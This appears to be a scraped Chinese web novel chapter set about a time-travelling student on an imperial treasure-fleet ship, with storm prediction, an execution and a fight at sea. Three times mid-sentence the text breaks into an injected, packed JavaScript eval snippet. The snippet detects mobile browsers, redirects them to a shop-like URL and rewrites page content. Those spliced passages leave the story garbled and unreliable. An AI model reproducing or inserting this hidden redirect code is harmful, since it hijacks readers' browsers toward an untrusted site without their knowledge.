《穿到古代去航海》 1. 天佑号 薛誉在吊床上醒来,入目一片昏暗,一间狭窄的舱室,室内的一切都荡荡悠悠的,薛誉眨眨眼睛,有点迷茫。 【航海系统: 宿主您好,新手礼包已加载完成,请及时查收!】 一面光屏凭空出现在薛誉面前,突如其来的光亮刺激得她眼泪直流,忙抬手遮住亮光,这才后知后觉地想起来自己如今身在何方—— 她穿越了。 还绑定了一个航海系统,系统要求薛誉完成环球航行,否则可能小命不保。 好嘛,新时代不犯法的人口拐卖,也是叫她遇上了。 薛誉查收礼包: 神奇罗盘X1、永不熄灭的蜡烛X1、饼干X3、淡水珠X1。 为什么早不掉落?薛誉简直泪流满面,她前两天都快饿得啃树(木)皮(头)了啊! 是的,如所有的穿越者一样,薛誉也是开局天崩。 刚穿来时是在一只破木筏上,无着无落地在一望无际的大海上漂流。 整整两天两夜! 才遇到了“天佑”号,被救上来。 那两天两夜既没有食物也没有淡水,而放眼木筏四周,除了海水就是海水,别说人影,海鸟也半天见不到一只,白天还好,晚上黑漆漆的,冰冷的海水时不时漫上木筏,那种渺茫…… 幸而遇到了天佑号。 都过去了。 【航海系统: 检测到宿主心情已平复,任务开启中。 主线任务:任务检测中……呀,毫无进展呢。 宿主对此是否有头绪?】 薛誉嘴角抽了抽,关掉光屏,起身时,身体不由自主地随船的颠簸而不住摇晃着。 好不容易出了舱门。 外面是一条走廊,窄而长,越往尽头光线越暗,全靠顶上天花板格格落落射下的天光,仿佛一个不完全幽闭空间。 薛誉借着天光往舱口梯走。梯子通向甲板,也就是说走廊的天花板其实是甲板,这里是天佑号的地下室。 一路上,两旁全是些窄舱室。门挤着门,比现代公寓房门挨得更近。有的紧闭,有的大开,一些船工模样的人进进出出,看薛誉路过并不多看,只专注地干自己的事,十分之有秩序。 上舱口梯时倒遇见了个风风火火的,长得像李逵。黑脸,眼睛瞪得像铜铃,头发支棱着,宛如一阵黑旋风。 黑旋风过境,片甲不留,险些将薛誉也撞飞,后者忙侧身,扒住扶手,方躲过一劫。 “是你?!”黑旋风紧急刹停,壮硕的身影将薛誉完全笼罩,一脸惊喜道:“方千户叫俺来看看你是醒了还是死了,哎,幸好你醒了,不然俺还得扛尸体,在俺们那嘎达不吉……” “……等、等等,”薛誉满脸黑线,怎么说话水平跟系统有一拼,只得打断道:“莫非是方千户找我?” “是。快随俺来!”将薛誉带到方千户面前,李逵风风火火奔走了,而这方千户,正是将薛誉从木筏上救起来之人。 他年纪很轻,不过十七八岁。却不是个好相与的—— 早上,薛誉好不容易被救上来,浑身湿漉漉的,因为呛水不住地咳嗽,这位方千户见状发话道:“怎么是个人?”声音老大不高兴,见薛誉又打寒战又咳嗽,很嫌弃地皱皱眉,随手指使旁边的船工李逵:“是个病秧子,看着没几天了,哪儿来的丢回哪儿去。” 薛誉险些背过气去:“不要啊!我、我还能活……真的还能活咳咳咳——!” 方意双手环胸,上下一打量,笑了:“我是要钓鱼,我看你只会吃鱼,无用……” “我也会钓鱼啊!”说着,薛誉就要随机抢一名船工的渔网。 不幸被挑中的李逵:“别抢俺的!”他一面把渔网往怀里揣,一面嘀咕:“难不成你是遇难的渔民?” 薛誉:“是是是!” 这语气,听起来太想活了。方意终于忍俊不禁:“行吧,既然还能活,就先带下去,洗洗干净,再来回话。” 于是薛誉被李逵拎小鸡仔似的提溜下去了。她身上那件又宽又大的灰袍子湿漉漉地滴了一路水。 等薛誉看见饭,顿生一股亲切之情,边哭边狼吞虎咽,吓得李逵退了十来步远:“哎呦,看这饿的,俺可离远点,一会儿再把俺给吃喽。” …… 而此时,这位方千户侧身坐在舷栏上,一条腿曲起,另一条随船晃荡,飞鱼服迎风猎猎,端的一副潇洒模样。 见薛誉走来,他轻身跃下:“怎么还穿的这身破烂?”绕着薛誉转了几圈,方意啧声:“回舱室,换身干净的,这是天佑号可不是乞丐号。” 舱室的吊床床尾上果然放着一套干净衣裳——船工同款。将才光线暗,薛誉没注意到。 她正要脱,却见方意斜斜倚着房门,双手环胸,漫不经心地望过来。 薛誉欲言又止,对面却秒懂,“哦”了一声,顺手带上门,慢悠悠地在外面说了声:“快点。”语调含着莫名的笑意。 薛誉心中警铃大作。 难道自己晕了之后发生了什么事情,导致谎话暴露? 她急忙打开系统个人界面: 【宿主姓名:薛誉(等级:L0)(获得称号:新手上路) 年龄:18 身份:清澈的大学生/落魄渔民(伪装)|(获得称号:斜杠青年) 积分:0(获得称号:家徒四壁) **:***! **:***! **:***! 背包:新人礼包(已查收)】 看到“落魄渔民(伪装)”这里,薛誉稍稍放了心,这个系统还是挺智能的,她一登上天佑号就显示连接成功。等薛誉认可“落难渔民”身份之后也立即更新了。 既然目前还有,应该没什么大问题……? 换好出去,两人再度来到甲板上,薛誉害怕这人反悔,忙捧着对方道:“非常非常谢谢千户大人救我,要不小人早就死在了海上,救命之恩,无以为报!以后有机会一定报。” “哦?”方意挑了下眉,“那就是没机会就不报了?” 薛誉懵了懵,强笑道:“定报定报。大人就是大人呢,与常人不同,想法都那么特别。” 方意对这句表面恭维、实则吐糟的话没什么反应,嘴角淡淡地噙着一抹笑,直走到甲板靠近艏楼的一侧才停下脚步。 这就是薛誉被救上来的地方。 时近傍晚,晚霞满天,映照得甲板上一片金辉灿烂,十来个船工仍在撒网捕捞,热火朝天,明明是寒冬腊月,却一个个汗流浃背,衣裳都湿个透彻。方意看着他们,叹口气道: “唉,今天早上我得空,看船工们忙碌,也来帮忙,谁知道却钓上来个你,”他抬起眼皮,瞭了薛誉一眼,笑说:“既然你意图报恩,不如钓几条鱼也好弥补弥补我帮了倒忙这事,如何?” “……小、小事,小人这就钓。” 说是这么说,事实却不眷顾薛誉。她下了三网,一条鱼也没捞上来,方意神色渐淡,临走时说:“你先在这里帮忙。” 薛誉于是继续捞鱼,直到深夜,最后一网时天竟然下起雨来。 雨滴滴答答落在肩上、手上、脑袋顶上,冷得她一激灵,瞬间清醒,仰头望去, 乌云阴沉沉的,正往一处聚拢,星星月亮不见影踪,而海面上除了一排绵延不绝的船亮着灯光,其余处一片漆黑,化不开的浓墨般。 不正常。 太不正常了! 收起最后一网,薛誉问旁边还要继续下网捞鱼的李逵:“方千户现在可能会在哪里?” “俺不知道。”李逵抹了一把脸上的汗,气喘吁吁的,等他直起身,眼前的甲板上空空如也,“人哪嘎达去了?” “找千户大人。”回答声穿透漆黑夜色,遥遥地传来。 “可别……”李逵忙追上去,“方千户不喜欢被打扰啊,俺看你不是去找人,是去找揍啊。” 雨滴越来越密,渐成珠帘似的雨线,整座天佑号只有艉楼一两点亮光,被模糊成一团团光晕。方意就在这光晕中查看航海图。 船队半月前奉皇命从刘家港启航,目前一切都在计划中,要不了两天就能驶入南海海域,方意正打算着明日要不要遣一船工去跟督公汇报,门“砰砰砰”地响了。 就在他诧异的瞬间,门被重重弹开,像被人踹了一脚,受力不过撞到木墙板上,震得整间舱室为之一动。 “大人……” “千、千户大人……” 屋内的亮光堪堪延伸到门口的两只落汤鸡身上。方意唇角一贯的笑容都淡了几分:“……什么事?” 薛誉抢先一步,一口气不停道:“今晚上有暴风雨如果继续往前行驶恐怕会船毁人亡!” 后面的李逵被震住了,大张着嘴,忘了自己要干什么。 “你说什么?” 薛誉十分利落地又重复一遍。 李逵顿时面如死灰,即使头脑简单、四肢发达如他,也知道这诅咒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164869|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的话语犹如逆鳞,彻底触怒了千户大人。 果然,方意盯了薛誉一晌,粲然一笑,大步跨来,每一步都重极。 “知道自己在说什么吗?”方意来到薛誉身前,弯腰低头,紧紧盯住薛誉的眼,高大的身形倾覆下来,乌云罩顶一般,他嗓音很轻:“扰乱人心者斩!或者你还不知道这条命令?” 薛誉却毫不畏惧:“我现在知道了,但我还要说——晚上有暴风雨,如果继续前行,必会船毁人亡!” 方意仔细打量着她,一寸一寸地,这人身上落了夜雨,一身冷而潮湿的水汽,就连睫毛上都挂着密密一层水珠,浑身还发着抖,他忽然明白了,是不是还以为自己在那只木筏上? 他口吻稍缓: “你向四周望望,这里是天佑号!汇聚了我天朝最顶尖工匠的毕生心血!若是累了便去休息,明日我准你不去捕……” “我很清楚自己在哪儿。”薛誉叹了口气。 也正常,渔民不会捕鱼还叫什么渔民,对方怀疑她实属正常。薛誉抬头,对上那双锐利的、不含一丝潇洒笑意的眼睛,一字一顿,肃然道: “如果我说谎,我愿意哪儿来的回哪儿去!” 李逵低呼一声。 这天气驾木筏出海,跟找死有什么区别。 “你确定?”“确定!” 方意直起身,率先走出舱室,往艏楼之上的舵楼去,上面有夜观天象的阴阳官,只要一问,是非分明。 舵楼上,有二十四个点位,阴阳生们便在点位上履行观天象的职责。中央矗立着一间小屋,放置有牵星板等导航物品,还有桌椅和一张简陋的木板床,以供阴阳官短暂歇息。 此时小屋亮着灯,有个阴阳生立于门口,着急地大喊。 “喊什么呢?”方意带着两人走至门前,声音雨夜般寒凉。 那阴阳生骤然听到这道声音,抬眼看来,见是方意,两眼大睁,兢兢道:“属、属下要……要跟阴阳官汇报天气情况。” “他不开门?” “不…不是!” 方意有点烦躁地挥手:“让开。” “轰——!”小木门根本禁不住这带着怒火的一脚,直接从中间裂成两半,一半摔进屋里,“唤”醒了木床上的阴阳官。 他一骨碌跳起,睡眼朦胧地大叫:“谁?是谁扰本官清梦?” “我。” 轻轻的一声笑,方意回答声幽幽。薛誉后退几步,退出门外,剩下的半扇木门“吱呀呀”地晃悠,响声令人牙酸。还是在外面呆着吧,薛誉想,被雨浇也比被滔天的怒火牵连强。 “夜雨伴灯眠,好享受!” 阴阳官清醒了,这辈子从没有这样神清目明过,他一面试图起身,一面道:“方千户,我…我是歇息半晌,这这就起来为船队观天象了。” 说着,却起不来身,肥胖的身躯瘫着,完全不听指挥。阴阳官小心翼翼地仰头看,挤出一个比哭还丑的笑脸:“千户大、大人见谅……” “哦?睡舒坦了,明白!来,我来帮林大人一把。” “不不不不不不!我我缓一会儿就行,缓一会儿就行,岂敢劳烦您……” 方意皮笑肉不笑地打断他的话,道:“今晚有暴风雨是不是?船队是不是该转向以避风浪,避免宝船受损?” 林阴阳官小心地看看身边立着的阴阳生,又小心地看看方意,明白了什么,忙连连应和道:“是是!我本就打算这么吩咐下边的人的!” 那阴阳生大气不敢出一口。 “你说。” “千户大人叫你说呢!仔仔细细地说清楚了!”林阴阳官本对此间事正迷茫,见方意要求那阴阳生作汇报工作,自然是求之不得。 “是是,二位大人容禀……”那阴阳生咽了口唾沫,眸光亮得出奇,他声音微颤,汇报却简洁明了、直指核心。与薛誉说的大差不差! “去执行。” 方意下了决断,朝薛誉瞭去一眼。而后者,终于松了口气,在现代,她家就是干捕捞行业的,从个小渔场开始,发展到圈了一片海域开上市公司,且她本人还是学气象学的,这回确认以及肯定船队能脱险了。 “你叫什么名字?” 方意仍在看她,笑容真切,一扫那种虽轻但隐怒的语气,温和地又问一遍:“哎,我说,你,叫什么名字啊?” 薛誉被雨浇得有点脑子迟缓,半天才喃喃道: “小鱼。”“……我叫小鱼。”他问了两遍,于是她也答了两遍。 2. 积分+1+1+1+1 第二天,薛誉是在磨刀霍霍声中醒来的。 她循声找去,只见舵楼之上的舵杆高高地绑着一个熟人——昨夜的林阴阳官。正疑惑,只听旁边几个船工窃窃私语: “这是又要行鞭刑?” “鞭刑?”船工的同伴嗤一声:“我觉得起码砍手砍脚。听说这个林大人昨夜偷懒被千户大人抓个正着!完蛋喽。” 船上的人经常被行鞭刑?听得薛誉暗自心惊。刚想问问她这种不会捕鱼的渔民要不要挨鞭子时,舵楼之上,自林阴阳官身后信步走出一个少年。 少年一身飞鱼服,腰佩绣春刀,唇红齿白,俊俏异常。此时他右手轻轻搭在刀柄上,指尖不住地轻点几下,面上一派春风化雨: “昨夜大雨,我们的阴阳官大人却睡得酣甜,”方意走到舵楼栏杆处,停下,居高临下地俯视着甲板上的众人,笑笑道:“险些坏了大事。” “大人饶命!”林正听到这里身子一软,扑通就跪了,“咚咚”直磕头,“我知道错了知道错了饶命啊大人!”方意不为所动,不疾不徐道: “故今日将此奸枭首示众,望诸位引以为戒!” 裁决短而明了。 林正终于吓得神志全无,口齿不清地嚎着什么,一时间,甲板上所有的人全都屏住呼吸,大气不敢出一口,任凭这道哀嚎声一圈圈回荡。 “唰!” 绣春刀出鞘,一线银光一闪而过,一颗硕大的头颅斜斜飞向空中,划出一道抛物线后,重重摔落到甲板上。 血肉四溅! 伴随着一股冲鼻的咸腥,是林正的脑浆!溅到了薛誉的脸上。 直到方意派人来寻,薛誉仍处于呆呆的出神状态,时不时擦一把脸颊,显得有些神经质。 “吓到了?” 来人将薛誉带至舵楼,她这副神思不属的样子吸引了方意的注意。后者靠近,弯腰低头,盯着她的脸仔细打量,皱眉问。 距离太近。 近到两道鼻息缭绕在一起,将雨后清新的海风都屏蔽在外,薛誉有点窒息,微微偏头,视野中的甲板早已经被水泼洗干净,可那股咸腥的脑浆味却久久散不去。一股呕意几乎抑制不住地冲上来。 “我叫你上来是想让你暂时做些阴阳生的工作。” 方意直起身,神色淡淡道:“你也看见了,船上少了个阴阳官,可察天象之事仍需足够的人手,在新的阴阳官上任之前,你先在此帮忙。” 官腔官调地。 薛誉连连点头,讪讪地。 虽然她将那阵呕意强行咽下,但慧眼如对方,早已察觉。 吩咐完,方意离去,薛誉顿觉眼前开阔。舵楼是全船最高点,有“一览众山小”的绝佳视野。 越过甲板与艏楼,前方是一望无际的大海,极目处水天一色。而向后望,是绵延了上千里的浩荡船队,宝船,各式马船粮船战船等呈雁鱼形,阵容整齐、训练有素地行进在晨光中。 令人望之生畏。 正在此时,一本册子被人双手递过来,来人态度恭敬道:“这是日志本,需将每次值班情况一一记录在册,以备查看。”是昨夜那个阴阳生,听口音大概是福建人。 薛誉简单翻翻,客气道谢。 “不敢当。” “崔生,你帮我看看,可有误?”其他阴阳生也纷纷走过来,好奇地望望薛誉,然后一个个都凑到崔大野面前,都让他看自己的日志本。 崔大野一一详解。 瞧样子,竟隐隐成了群生之首。薛誉等人都走了,有点好奇问:“崔生你会是下一任阴阳官吗?” 刚才方意的话被薛誉一字不差地听在耳中、记在心间,既然短期内要在此帮忙,及早弄清下一任阴阳官并提早与之交好没有坏处。 崔大野讶异一瞬,极快否认道:“不不!沈督公定然会另派能人来。” “这样噢。”薛誉若有所思。 而崔大野也在思索:此人不是走的方千户的门路才来做的阴阳生吗,他还以为自己能从这人口中得到点有用的消息,可惜…… 之后几日,薛誉就在此帮忙。 等新官上任,分给薛誉的任务竟比其他阴阳生的都少,薛誉得以有时间和李逵一起从事捕鱼工作。这天下值,薛誉边往甲板走,边想: 这些人到底知不知道她只是个无依无靠的“渔民”,怎么感觉他们对她都有点讨好呢,这个新任阴阳官的态度尤其明显! 这问题从李逵那儿得到了解答。 “俺肯定他们不知道。” 见薛誉一脸疑惑,李逵挠挠头,道:“那天救你时,天都没亮呢,船上没几个人瞅见,而且,”他降低声音:“谁敢瞎说方大人的事儿呀!” 李逵看看薛誉,一脸苦色:“俺说你真是吃了熊的胆,那天晚上吓死俺了,俺以为俺的脑袋活到头了。”他后怕地拍拍胸脯,“幸好幸好,俺们都没事。” 他憨憨地笑了。 “怪不得。” 薛誉又说:“他们都说新来的这个大人是沈督公安排来的。我还以为千户大人把人斩了,新官他会自己安排呢。” “咋可能啊,”李逵傻傻上钩解释:“沈督公才是船队正使,当然不可能方大人来呀。” 薛誉从原身脑海中搜索,只得到了督公沈轻玉乃陛下贵妃面前数一数二的红人,在民间素有“小皇帝”之称,可谓权势滔天。至于其他的,比方说这只船队从哪儿来、要去哪儿却没找到什么有用的信息。 不过至此,她终于确定自己一开始的猜测——这船,是官船。 也是她愿意认下可能露馅儿的渔民身份的重要原因。从记忆来讲,原身似乎不大简单,仿佛是流亡海上的亡命之徒,还女扮男装,叫官家的人知道了能有好果子吃? 撒谎?完全被迫的嘛! “好沉!” 李逵一面同她说话,一面再次下网。不过片刻,渔网剧烈抖动起来,李逵一脸喜滋滋的,叫了一声。 他膀子一收、一甩,兜着大大小小百十来条鱼的渔网顷刻间落到甲板上。鱼肥美,且活蹦乱跳的,甚至有一条十分有活力地蹦跶到了薛誉脚边,鱼尾一甩一甩扑打着她脚面。 “我要有大哥你这两把刷子就好了。” 李逵抹了把脑门上的汗,闻言打量过来,“你太瘦了,没劲儿!”他说着像健美运动员那样前展双肱二头肌,“像俺这样就肯定行了。不过你也别担心,你都当上官儿了,早晚吃得白白胖胖的。” 说起这个薛誉就愁,上回差点吐出来那事儿大概得罪了方意,这两回对方见到她态度不咸不淡的,让薛誉有点慌。 感觉“阴阳生”这个临时编制不够稳定,为以后计,得学个一技之长。“大哥你传授传授我经验吧,行吗?”薛誉仰面看李逵。 “那有啥不行的。” 李逵很爽快,把技巧说了两遍,很热情地来亲身教学。 他把住薛誉的两条胳膊,教她如何用力。 等退开时李逵汗流满面,身上的衫子湿个透彻,他嘘口气道:“你用劲儿不对啊。”神情苦恼,“可俺真不敢动你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164870|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,胳膊细得跟棍儿似的,俺怕给你整折了。你不知道,跟船的几个大夫都晕船得厉害,生了病可就麻烦了。” 薛誉也长长出了口气,李逵身形魁梧,站在人身后犹如泰山压顶,让人喘不过来气。 她甩甩胳膊,心道:“哪儿就那么寒碜了。”原身1.7米的个子,还有肌肉,放现代妥妥的肌肉猛女。也就是在海上逃亡了一阵,不然更结实。 可惜薛誉至今不知道“自己”长什么样子。她住的窄舱室只有吊床,桌椅都没有,更别提镜子。不过在木筏上时,倒借着波光荡漾的海面仔细观察过,原身眉眼俊秀,是个颇英气的少女。 “我再自己揣摩揣摩吧,多谢大哥!” 仔细练了数天,薛誉终于小小丰收一把,小黄鱼、带鱼、马鲛等等,甚至还有几只皮皮虾,她高兴极了。 【航海系统: 积分+1+1+1+1 恭喜宿主解锁东南海海域生物图鉴,目前总积分:4。已摆脱“家徒四壁”称号。 再接再厉哦!】 自从薛誉当了阴阳生预备役,系统自动开启主线任务,可除此之外,毫无进展,她苦练捕鱼也是不得已的事,没想到还有此等意外之喜。决定了,以后每到一个地方就收集当地特产去! 可这高兴甚至没持续到晚上,薛誉那间狭窄的舱室,迎来一位不速之客。 “扣扣——” 没等主人说话,来人一把推开房门,显然敲门只是象征性的,不是征求意见。“这两日过得如何?” “千户大人?” 薛誉摇晃着从吊床半拄起胳膊,疑惑地看着来人,脑子却在飞速运转,难道自己做错什么了?不能吧……正当她纠结时,方意笑吟吟地开口道: “听说你今天收获颇丰啊。” “是!”薛誉呼了一口气,神色稍许放松,起身跳下吊床,贴着舱壁而立,英气的眉毛一挑,语气欢快:“这还多亏了李大哥呢!他教我的。以后我就不是只会‘吃鱼’、不会‘钓鱼’的无用之人了。” “噢——”方意故意拉长调子,皱眉作思考状,“就是那个五大三粗的船工?” “嗯。” “难怪,”方意斜斜倚靠着舱门,语调漫不经心地,话题陡然一转:“今晚的膳食如何?你们似乎还吃得挺香的。”他双手环胸,头歪着,看来的目光不知如何形容。 “……回大人,挺好的小人认为。” “汤不咸吗?” 薛誉仔细回忆一番,小心翼翼道:“可能船抖,厨子不小心放多盐了?” 方意低低笑起来:“有时候我真觉得你挺好玩的,”他走进来,反手关上门,唬得薛誉下意识后退两步,双手环胸抱住自己,意识到自己动作后她又马上放下手来,惹得方意朗声笑道:“你看,你总能做些或说些我意想不到的事。幸亏当初没扔下去。” “因为大人你善!” 方意耸耸肩,“我实话说吧,你不是附近渔民吗,肯定常在这一片出海,船上淡水告急,我欲寻些勇士去寻淡水岛,你意如何?” 勇士? “我啊?”薛誉瞠目结舌地指指自己,见对方竟没有否认,缓了缓才问:“那一支小队几个人呢?” “一个。配备十日食水。” “那十日找不到也回不来,怎么办?” “那就只好像你以前那样漂在海上了啊。” 薛誉:“……?” 所以果然还是记恨那天她差点对着他的脸吐了的事儿,所以想她死吧! 3. 野人岛 “我去。” 几乎没怎么犹豫,薛誉答应下来。这种一看就无法逃避的任务,早干完早解脱。 “等等——!” 方意斜斜伸出一条手臂,拦住拔腿就要往外奔的薛誉,后者不解地眨眨眼,方意有些好笑道:“不是说现在。只是提前来通知你。” 黑暗中,薛誉点点头,微不可查地松口气,小脸仍然紧紧绷着,严肃又认真。方意饶有趣味地盯了半晌,环视周围一圈,笑眯眯地给人画饼: “等你成功归来,我给你换个好舱房。” ……谢谢,如果她有那命的话。 * 三日后,风平浪静,宜出海,十来个“勇士”齐聚甲板旁,一一上前领过物资,乖乖低头听训话。 “找到淡水者需及时放出信号,第一名重赏;未成功返程者,鞭三十;”方意扫视他们一圈,“胆敢逃跑的,最好腿脚麻利点,若被我逮住了……” 顿了顿,他笑眯眯地:“前几日的林大人就是榜样。” “勇士”们纷纷应是。 而此时,十来艘小船已经下放至海面,随海波微微荡漾,薛誉背好自己的那份物资,率先翻过舷墙,顺着舷梯一路下滑,成功下到小船上。 其他人见状,纷纷争先恐后地效仿。 “很好!” 身后传来一道赞扬,薛誉回头望去,高高的甲板之上,方意正抚掌微笑,察觉到她的目光,居高临下地望来。海风撩动额发,露出少年那张意气风发的俊脸,薛誉不由得想起初见时—— 她惊喜交加,仰脸交叉挥舞着双臂,狂声高喊,试图吸引这少年的注意。 疯狂程度不亚于最狂热的信徒朝见神袛。 现在…… 现在薛誉只是叹口气,转眼去瞧天佑号——她的临时港湾,短暂的异世之家。“希望还能回来”,薛誉喃喃。 划桨开船。 如一只低空飞掠过的海鸟,很快消失无踪,只留海面上一道淡淡的微澜。 划出上千米后,薛誉方才停下,她取出神奇罗盘,正鼓捣,航海系统道:【将扣除499积分,余额不足,无法抵扣!余额不足,无法抵扣!】 薛誉叉掉聒噪的提示框,无奈扶额,打开个人界面,想看看有什么可用的:【宿主姓名:薛誉 年龄:18 身份:大学生/渔民/阴阳生(临时版)(获得称号:百变小达人) 积分:4 生物图鉴:黄鱼,带鱼,马鲛,皮皮虾。 海图:东海,南海。 商城:已解锁!(温馨提示:积分不足,无可购买之物,与未解锁时似乎没有不同……?) 背包:神奇罗盘X1、永不熄灭的蜡烛X1、饼干X3、淡水珠X1】 海图? 薛誉惊喜点开,这个应该有用。 海图上一片蔚蓝,右上标着“东海”,左下标着“南海”,除此之外,其它地方都是未解锁的灰色。完全没有有用的信息。 【航海系统:只有亲自踏上的“土地”,才可以在海图上标识。】 看来没有捷径可走。薛誉只好老老实实拿出指南针来,这是她的“勇士”物资,除此之外还有一包干粮、三桶淡水、一支捕鱼叉、一把长刀、一把匕首以及一颗信号弹。 虽然不能利用系统,不过问题不大,毕竟高中大学都修地理,那张世界地图还是记得挺清晰的,往东南方向的菲律宾群岛去就行了,那儿小岛多,距离此地还近。 唯一不好之处就是现在是冬季,盛行东北季风,往东南方向走可能会逆风。 但今日还算风平浪静,就去那儿吧! 打定主意,薛誉扭转小船船头,不远处却传来一阵划桨声,这声音越来越近、越来越近,薛誉不由得举目四望,海面平静,波光粼粼地流动着,偶尔几只海鸟“啾啾”飞过,除她之外,没有发现第二个人影。 幻觉吗? 不管了,还是快快出发吧。掉转成功船头,她的两桶淡水摇摇摆摆地,哐当倒地,“幸好幸好。”薛誉后怕地拍拍胸脯,幸好盖子拧得紧,不然淡水就喂船板了。 “勇士,等等我!” 身后传来渺渺茫茫的一声叫喊,声音粗,腔调急慌慌的。薛誉纳闷了,青天大白日的闹鬼了? 只是这回再寻声望去时,不再一无所获,远远地,薛誉看见一个光头汉子,穿着和自己同款的船员服。 是那十来个勇士之一。 光头见她回头看,“嗷”地叫了一嗓子,一下蹦得三尺,震得船颤抖着,他拿着两桨冲薛誉手舞足蹈,显然兴奋得不知如何是好:“勇士,等我一下等我一下啊!” 他拼命划桨,两船距离也快速缩近,汉子带着哭腔道:“我的小船有个被虫蛀了的大洞——!我又不敢回去……能不能让我跟你坐一个船啊?”声音期期艾艾的,脸上全是怕被拒绝的惶恐。 “这……” 薛誉犹豫了,这个光头汉块头太大,而小船只有两米长、一米宽,让这汉子上来就会沉船,正苦恼如何拒绝,薛誉猛然注意到这人船上竟有五六桶淡水! ……不对! 这人有鬼!薛誉胡乱拿起两只桨就要开溜,冷不丁地,两只匕首投掷过来,光头冷笑:“你还挺聪明。” 他一改可怜模样,昂了昂头,从鼻孔中不屑地冷“哼”一声:“比那两个蠢货都强。” 而此时,二人的距离已不足五十米。 “那两个蠢货?”电光石火间,薛誉领悟到这人的未尽之言:“你杀了他们?!你不怕千户大人将你枭……” 光头“呵呵”两声,不耐烦地打断她:“死都死了,还能朝千户大人告状不成?小兄弟,先担心你自己吧!” 他一面快速划桨,一面又掷来一把匕首,小李飞镖似的,擦着薛誉右大臂飞过,险险削下一块肉来,见没伤到她,光头气急败坏道: “浪费我三把匕首!你这弱鸡运气还挺好。不过放心,既然你关心那两蠢货,我这就送你去见他们!” 右大臂火辣辣地疼,丝丝缕缕血迹渗出,淡淡的血腥味飘散在薛誉鼻尖,到了十万火急的时候,她反而彻底冷静下来:不能跟这人硬碰硬,他体力强,论划船自己不是他的对手。 求饶也绝对行不通…… 有了!其人之道还治其人之身!薛誉弃了船桨,从物资背包中一把揪出匕首,低头削着什么,还故意两肩直颤,浑身时不时发抖。 从光头那儿看去,就是这弱鸡已经害怕得连跑都不会跑了,缩成一团在船里瑟瑟发抖,估计正哭得冒鼻涕泡呢。 他狂笑数声,飞速抡动两臂,直到两船的距离只有一米,起身,他笑着跨步,想要跨进这弱鸡的船舱,却听“噗嗤——!” 光头难以置信地低头看看自己胸腔,靠近心脏的地方赫然插进一把大刀!而他心目中的弱鸡正冷冷地瞪视着他,弱鸡毫不手软,在他还没回过神来又连插三刀。 一刀心脏。 两刀眼睛。 弱鸡怎么会有四把刀呢?光头痛跌进大海之际,脑中思考的却是这个。不过他只消抬手摸摸眼睛那儿的“刀子”,就会发现那只是两根削尖的木棍而已。 巨大的水花溅了一米来高,将薛誉淋成一只落汤鸡,她来不及管这个,只抡圆了膀子,用船桨猛砸光头的脑袋,直到砸得这人沉下去、沉下去……连影子都看不见了才停止这机械的动作。 不一会儿,海面重新平静下来,薛誉呆呆站了会儿,举目四望,仍旧只有无边无际的深蓝色汪洋,头顶是艳阳,浑身却如坠冰窟, 薛誉眼眶忽然有些湿润,恐惧后知后觉地汹涌而来,要是刚才没发现异常,要是不够镇定勇敢地反击…… 她“呜呜”哭了,哭得很伤心。 这是薛誉穿到这里后第一次哭。 很久很久才停,她盘腿重新坐下,从物资包里拿出干粮,一口干粮一口水地干饭,间或擦擦脸颊的泪。没一会儿,就完全振作起来了。“又是一条好汉!”薛誉鼓励自己。 她拿起桨往光头的船那儿划,光头的物资她就笑纳了,船也笑纳了,船桨也笑纳了。 都是她的精神损失费! “勇士……” 又一声呼唤,薛誉都对“勇士”这两个字产生心理阴影了,她恶寒地抖了抖,快速回到自己船上拿起大刀——光头的船上只有一些吃的喝的和两颗信号弹。然后一回生二回熟地做出攻击姿势。 “是我!”来人看见薛誉一脸防备,忙亮明身份:“薛生,是我,崔大野。” 同样的坑她可不会跳两次,薛誉冷冷注视着他,“不想战斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164871|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不要靠我太近。” “好好!你别紧张。” 崔大野忙站起来,把什么刀啊叉啊甚至船桨都放在船壳内,他举着空空的两手左右晃晃,表明自己毫无威胁:“我是听见这儿的声响,过来看看,没帮上忙,薛生你别生气。” “不会,”看到对方这个态度,薛誉松口气道:“我自己能处理。” “我刚才远远地看着像你,却不敢认。刚才在天佑号上方大人训话时,我就想问你来着,这么危险的任务薛生你为什么要参加?” “为了奖励。” “原来如此,”崔大野引以为知己地点点头,“那、那你的伤……” “不碍事。” 瞧薛誉一副不欲多说的样子,崔大野讪讪地:“那我就走了?” “好。祝崔生你一帆风顺。” 崔大野点点头,掉转船头离开。 